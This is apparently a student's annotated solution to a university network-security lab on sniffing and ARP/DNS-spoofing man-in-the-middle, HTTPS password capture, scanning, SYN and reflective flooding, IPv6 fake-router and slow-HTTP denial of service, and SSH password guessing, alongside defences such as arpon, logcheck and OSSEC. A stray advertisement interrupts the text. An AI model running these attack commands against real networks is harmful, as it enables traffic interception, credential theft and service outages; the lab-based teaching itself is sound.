practica-2-20172018.pdf

whoism0r0

Legislación y Seguridad Informática

3º Grado en Ingeniería Informática

Facultad de Informática
Universidad de A Coruña

Práctica 2 - 2017/2018

Lexislación e Seguridade Informática (Universidade da Coruña)

```
10.10.102.X -> Mi máquina
fe80::250:56ff:fe91:XX

10.10.102.Y -> Máquina del compañero
fe80::250:56ff:fe91:YY
```

Práctica II.: Ejemplos de categorías de ataque et al. (4 sesiones – 8h)

Prof. A. Santos del Riego
Legislación y Seguridad Informática (LSI)
Facultad de Informática. Universidad de A Coruña
Fecha propuesta.: enero 2003
Última revisión.: octubre 2017

El objetivo de esta práctica es comprender y probar el funcionamiento de los sniffers, los ataques [D]DoS, así como diversos temas relacionados con lo que hemos llamado la trilogía ("host discovery", "port scanning" y "fingerprinting"). La gestión de la información de auditoría es otro de los objetivos de esta práctica. En las sesiones de laboratorio se propondrán posibles herramientas a utilizar.

a) Instale el ettercap y pruebe sus opciones básicas en línea de comando.

```
#apt-get install ettercap-text-only ettercap-graphical

ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET is in the form MAC/IPs/PORTs
TARGET is in the form MAC/IPs/IPv6/PORTs
```

Opciones:

- **-T** Ejecuta ettercap en modo texto
- **-q** Modo silencioso, no muestra el contenido de los paquetes excepto el de los que contienen las contraseñas
- **-i <interfaz>** Permite especificar la interfaz de red
- **-p** No activa la tarjeta en modo promiscuo
- **-u** Sitúa el ettercap en modo no ofensivo. En este modo ettercap no redirige los paquetes que analiza, lo que permite ejecutar múltiples instancias sobre una máquina sin duplicar paquetes
- **-P <plugin>** Carga un plugin de ettercap.
- **-P list** Muestra una lista de los plugins disponibles
- **-L <logfile>** Guarda en formato binario todos los paquetes, así como información sobre contraseñas y host en el fichero especificado por 'logfile'
- **-M <método:[opción, …]>** Realiza un ataque man in the middle usando el método especificado por 'método' y con las opciones especificadas por 'opcion'
    - **Método**: arp -> Nos permite redirigir el tráfico usando arp-spoofing
    - Opción: remote nos permite optener el tráfico de la red exterior si uno de los hosts implicados es un router
    - **Método** port -> Permite realizar port-stealing sobre un switch Ethernet

MAPFRE teCuidamos

https://www.

¿Cansadx de buscar y buscar?

Gym

Conciertos

Viajes

Descuentos

Dudas con “papeleo”

Tranqui,
te echamos un cable con tus

Cosas de Jóvenes

Really?

mapfretecuidamos.com/jovenes/

ettercap -T -P repoison_arp -M arp:remote /10.10.102.Y// /10.10.102.5// Apropiarse de la MAC
ettercap -T -P dsn_spoof -M arp:remote /10.10.102.Y// /10.10.102.5//

```
No funciona si el usuario tiene configurado el dns por defecto /etc/resolv.conf

/etc/ettercap/etter.dns
www.alor.org
```

b) Capture paquetería de una sesión no segura.

```
hping3 10.10.102.92 –S –V –p 80
```

Ettercap -T -I eth0 -M arp /10.10.102.Y// /10.10.102.5//

c) Capture un paquete TCP e identifique los principales campos de cabecera.

```
ettercap –T –w captura –M arp:remote /10.10.102.Y// /10.10.102.5//
tcpdump –w captura2 tcp
```

d) Capture un paquete IPv6 e identifique los principales campos de cabecera.

```
ifup tun6to4
tcpdump –w ipv6 –i tun6to4
tcpdump –i tun6to4 –c 1
ping6 –I tun6to4 2002:a0a:6624::1
ettercap –T –w captura –M arp:remote /10.10.102.X/fe80::250:56ff:fe91:XX/ /10.10.102.5//

fe80::250:56ff:fe91:YY
```

e) Indique 3 servicios que transmiten información en claro y otros 3 cifrada.

```
telnet www.google.com 80
GET /index.html HTTP/1.1

openssl s_client –connect www.google.com:443
GET /index.html HTTP/1.1

Claro
       telnet
       ftp
       http
Cifrado
       ssh
       sftp
       https
```

f) Obtenga la relación de las direcciones MAC de los equipos de su segmento.

```
arp -a
nmap –sP 10.10.102.0/24
ip neigh flush all


otra opción: nast –m –i eth0
```

```
ping –b 10.10.102.255
```

```
ip neigh
```

g) Obtenga la relación de las direcciones IPv6 de su segmento.

```
ping6 -c2 -I eth0 ff02::1
ip -6 neigh
```

h) Obtenga el tráfico de entrada y salida de su interface de red eth0 e investigue los servicios, conexiones y protocolos involucrados.

```
tcpdump -w archivo -i eth0
ettercap -T -w archive /10.10.102.Y// /10.10.102.5//
```

i) Mediante arpspoofing entre una máquina objetivo (víctima) y el router del laboratorio obtenga todas las URL HTTP visitadas por la víctima.

```
nano /etc/ettercap/etter.conf
ettercap -T -i eth0 -M arp:remote -P remote_browser -q /10.10.102.Y// /10.10.102.5//

ettercap -Tq -M arp:remote -P remote_browser /10.10.102.Y// /10.10.102.5//
```

j) Haga un MITM en IPv6 y visualice la paquetería.

```
ettercap -T -w captura -M arp:remote /10.10.102.X/fe80::250:56ff:fe91:XX/ /10.10.102.5//

ettercap -T -w captura -M arp:remote //fe80::250:56ff:fe91:XX/ /10.10.102.5//

fe80::250:56ff:fe91:YY
```

k) Utilizando el ettercap-gtk trate de capturar el password de una sesión https.

http://www.linuxexpert.ro/Security/sniff-ssl-passwords-with-ettercap.html

```
nano /etc/ettercap/etter.conf

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT --to-port %rport"
```

Descomentamos estas líneas para habilitar la captura de tráfico ssl

```
ettercap -T -i eth0 -M arp:remote -q /10.10.102.Y// /10.10.102.5//

https://www.instagram.com/accounts/login/?hl=es
```

l) Instale y prueba algunas de las opciones básicas del paquete bettercap. Dentro de este apartado el profesor de prácticas podrá plantear alguna prueba concreta.

http://www.elladodelmal.com/2016/06/bettercap-una-katana-para-realizar.html

bettercap --no-spoofing -G 10.10.102.5 -L --sniffer-output better.pcap -P '*' //snifear todo el tráfico de la red
bettercap -T 10.10.102.Y -G 10.10.102.5 --sniffer-filter "tcp port 80" // Obtener tráfico HTTP

Con el parámetro –spoofer se puede indicar ARP, ICMP o NONE. Por defecto, si no se indica se lanzará ARP Spoofing.

bettercap -T 10.10.102.Y --proxy -P POST

m) Pruebe alguna herramienta y técnica de detección del sniffing (arpwatch, arpon, ...)

```
nano /etc/default/arpon

DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -S"
RUN="yes"

/etc/init.d/arpon restart
```

Detectar:
`/var/log/arpon/arpon.log`
snort -dev -h 10.10.102.0/24 // Como interpretamos esto?

Detercción:
Comando arp -n
Comprobar que ninguna ip está asociada a la misma mac que otra

arp -s IP MAC
arp -f fichero.arp

Protección
arpon -i eth0 -S

- SARPI - Static ARP inspection: Redes sin DHCP. Utiliza una lista estática de entradas y no permite modificaciones.
- DARPI - Dynamic ARP inspection: Redes con DHCP. Controla peticiones ARP entrantes y salientes, cachea las salientes y fija un timeout para la respuesta entrante.
- HARPI - Hybrid ARP inspection: Redes con o sin DHCP. Utiliza dos listas simultaneamente.

n) Pruebe distintas técnicas de host discovey, port scanning y OS fingerprinting sobre las máquinas del laboratorio de prácticas.

nmap

```
DESCUBRIMIENTO DE HOSTS:
  -sL: Sondeo de lista - Simplemente lista los objetivos a analizar
  -sP: Sondeo Ping     - Sólo determina si el objetivo está vivo
  -P0: Asume que todos los objetivos están vivos
  -PS/PA/PU [listadepuertos]: Análisis TCP SYN, ACK o UDP de los puertos indicados
  -PE/PP/PM: Solicita un análisis ICMP del tipo echo, marca de fecha y máscara de red
  -n/-R: No hacer resolución DNS / Siempre resolver [por omisión: a veces]
  --dns-servers <serv1[,serv2],...>: Especificar servidores DNS específicos
  --system-dns: Utilizar la resolución del sistema operativo
ESPECIFICACIÓN DE PUERTOS Y ORDEN DE ANÁLISIS:
  -p <rango de puertos>: Sólo sondear los puertos indicados
    Ej: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
  -F: Rápido - Analizar sólo los puertos listados en el archivo nmap-services
```

```
  -r: Analizar los puertos secuencialmente, no al azar.
DETECCIÓN DE SERVICIO/VERSIÓN:
  -sV: Sondear puertos abiertos, para obtener información de servicio/versión
  --version-intensity <nivel>: Fijar de 0 (ligero) a 9 (probar todas las sondas)
  --version-light: Limitar a las sondas más probables (intensidad 2)
  --version-all: Utilizar todas las sondas (intensidad 9)
  --version-trace: Presentar actividad detallada del análisis (para depurar)
 DETECCIÓN DE SISTEMA OPERATIVO
  -O: Activar la detección de sistema operativo (SO)
  --osscan-limit: Limitar la detección de SO a objetivos prometedores
  --osscan-guess: Adivinar el SO de la forma más agresiva
```

```
nmap -O 10.10.102.Y
```

```
# nmap -sV 10.10.102.Y
```

```
nmap -sV 10.10.102.Y

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-29 01:41 CEST
Nmap scan report for 10.10.102.Y
Host is up (0.00080s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
514/tcp  open  shell?
4000/tcp open  remoteanything?
MAC Address: 00:50:56:91:4F:37 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.38 seconds
```

o) Realice alguna de las pruebas de port scanning del apartado anterior sobre IPv6. ¿Coinciden los servicios prestados por un sistema con los de IPv4?.

```
# nmap -sV fe80::250:56ff:fe91:YY -6

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-29 01:56 CEST
Nmap scan report for fe80::250:56ff:fe91:YY
Host is up (0.00082s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
514/tcp  open  tcpwrapped
4000/tcp open  tcpwrapped
MAC Address: 00:50:56:91:4F:37 (VMware)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
```

p) Obtenga información “en tiempo real” sobre las conexiones de su máquina, así como del ancho de banda consumido en cada una de ellas. Establezca un sistema de accounting del subsistema de red de su máquina de laboratorio.

```
iftop -nNpPi eth0
```

```
iftop -nNpPi eth0 -f "src host 10.10.102.Y"
```

```
In the above example, -nNpP tells iftop to not resolve hostnames (n) or port numbers (N),
and to run in promiscuous mode (p) and also display ports in the output (P).

vnstat -l -u -i eth0 en tiempo real
vnstat --days
 -- weeks
 -- months
```

q) PARA PLANTEAR DE FORMA TEÓRICA.: ¿Cómo podría hacer un DoS de tipo direct attack contra un equipo de la red de prácticas? ¿Y mediante un DoS de tipo reflective flooding attack?.

Direct attack - Inyecto paquetes con destino directo una máquina puede ser de muchos a uno, Envio paquetes a un objetivo desde ips de otros a una máquina que responde a toda la red

petición respuesta flag sync puerto ori - destino

packit -c 0 -b 0 -s 10.10.102.Y -d 10.10.102.X -F S -S 1000 -D 22
packit -c 0 -b 0 -s 10.10.102.Y -d 10.10.102.X -F S -S 1001 -D 80

hping3 10.10.102.Y -p 22 --flood -V

Reflective flooding attack - Le envías paquetes a toda la red para que le responda a una sóla máquina y saturarla

hping3 10.10.102.255 -a 10.10.102.Y -p 22 --flood -V
packit -c 0 -b 0 -sR -d 10.10.102.Y -F S -S 80 -D 1000
packit -c 0 -b 0 -sR -d 10.10.102.Y -F S -S 80 -D 22

Podríamos hacer uso de otras herramientas como nemexis, scapy, packit

r) PARA PLANTEAR DE FORMA TEÓRICA.: Considerando que todos los sistemas del laboratorio tiene autoconfiguración de la pila IPv6, ¿cómo podría tratar de tirar abajo todos los sistemas? ¿cómo podría hacer flooding en IPv6?. ¿cómo podríamos protegernos?.

Genera router advertisment, y las máquinas empiezan a reconfigurar links local, tirando todas las máquinas que tienen autoconfiguración, podemos desactivar SLAAC y establecer manualmente la configuración

./fake_router6 eth0 1::/64

```
Anunciarse como un router en la red, con la más alta prioridad.

/etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
sudo sysctl -p
```

SLAAC es un método en el cual un dispositivo puede obtener una dirección IPv6 de unidifusión global sin los servicios de un servidor de DHCPv6. ICMPv6 se encuentra en el centro de SLAAC. ICMPv6 es similar a ICMPv4, pero incluye funcionalidad adicional y es un protocolo mucho más sólido. SLAAC utiliza mensajes de solicitud y de anuncio de router ICMPv6 para proporcionar direccionamiento y otra información de configuración que normalmente proporcionaría un servidor de DHCP

/etc/sysctl.conf

net.ipv6.conf.all.autoconf = 0

net.ipv6.conf.all.accept_ra = 0

```
sudo sysctl -p
```

s) Ataque un servidor apache instalado en algunas de las máquinas del laboratorio de prácticas para tratar de provocarle una DoS. Utilice herramientas DoS que trabajen a nivel de aplicación (capa 7). ¿Cómo podría proteger dicho servicio ante este tipo de ataque? ¿Y si se produjese desde fuera de su segmento de red? ¿Cómo podría tratar de saltarse dicha protección?

```
apt-get install slowhttptest
```

slowhttptest -c 1000 -g -X -o slow_red_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.185 -p 3

-c 1000 -> Número de conexiones máximo 655539

-g genera un flow chart

-X Activa slow_read_stats / Tipo de ataque (Mantener el máximo de conexiones activas para joder bien al servidor)

-o fichero Genera unhtml con los parametros de test

-r 200 conexiones

-w 512 rango de bytes del advertised windows size

-y Specifies the end of the range the TCP advertised window size would be picked from in Slow Read test.

-n intervalos de segundos

u) Usted tiene un sistema de log instalado y funcionando. Todo esto está muy bien pero, ¿alguien mira los cientos o miles de líneas generadas?.
   - Opción a.: Contratamos a alguien que se dedique a mirar las líneas de log.
   - Opción b.: Configure un sistema que reporte alarmas.

```
logcheck.conf -> Cambiar usuario a lsi
logcheck.logfiles -> Archivos que va a revisar
su -s /bin/bash -c "/usr/sbin/logcheck ./logcheck" logcheck
```

mail -N
d *
quit

v) Realice algún ataque de “password guessing” contra su servidor ssh y compruebe que el analizador de logs reporta las correspondientes alarmas.

medusa -h 10.10.102.X -u lsi -P password.txt -M ssh -f
web
ssh
telnet

w) Reportar alarmas está muy bien, pero no estaría mejor un sistema activo, en lugar de uno pasivo. Configure algún sistema activo, por ejemplo OSSEC, y pruebe su funcionamiento ante un "password guessing".

- To start OSSEC HIDS:
  /var/ossec/bin/ossec-control start

- To stop OSSEC HIDS:
  /var/ossec/bin/ossec-control stop

Volvemos a probar medusa y si lo tenemos bien montado tendría que cortar el ataque

iptables -L vemos la reqgla que dropea los paquetes
y en el hosts.deny

Método de evaluación.: Como resultado de esta práctica, el profesor evaluará las habilidades adquiridas por el alumno mediante una sesión de trabajo en máquina.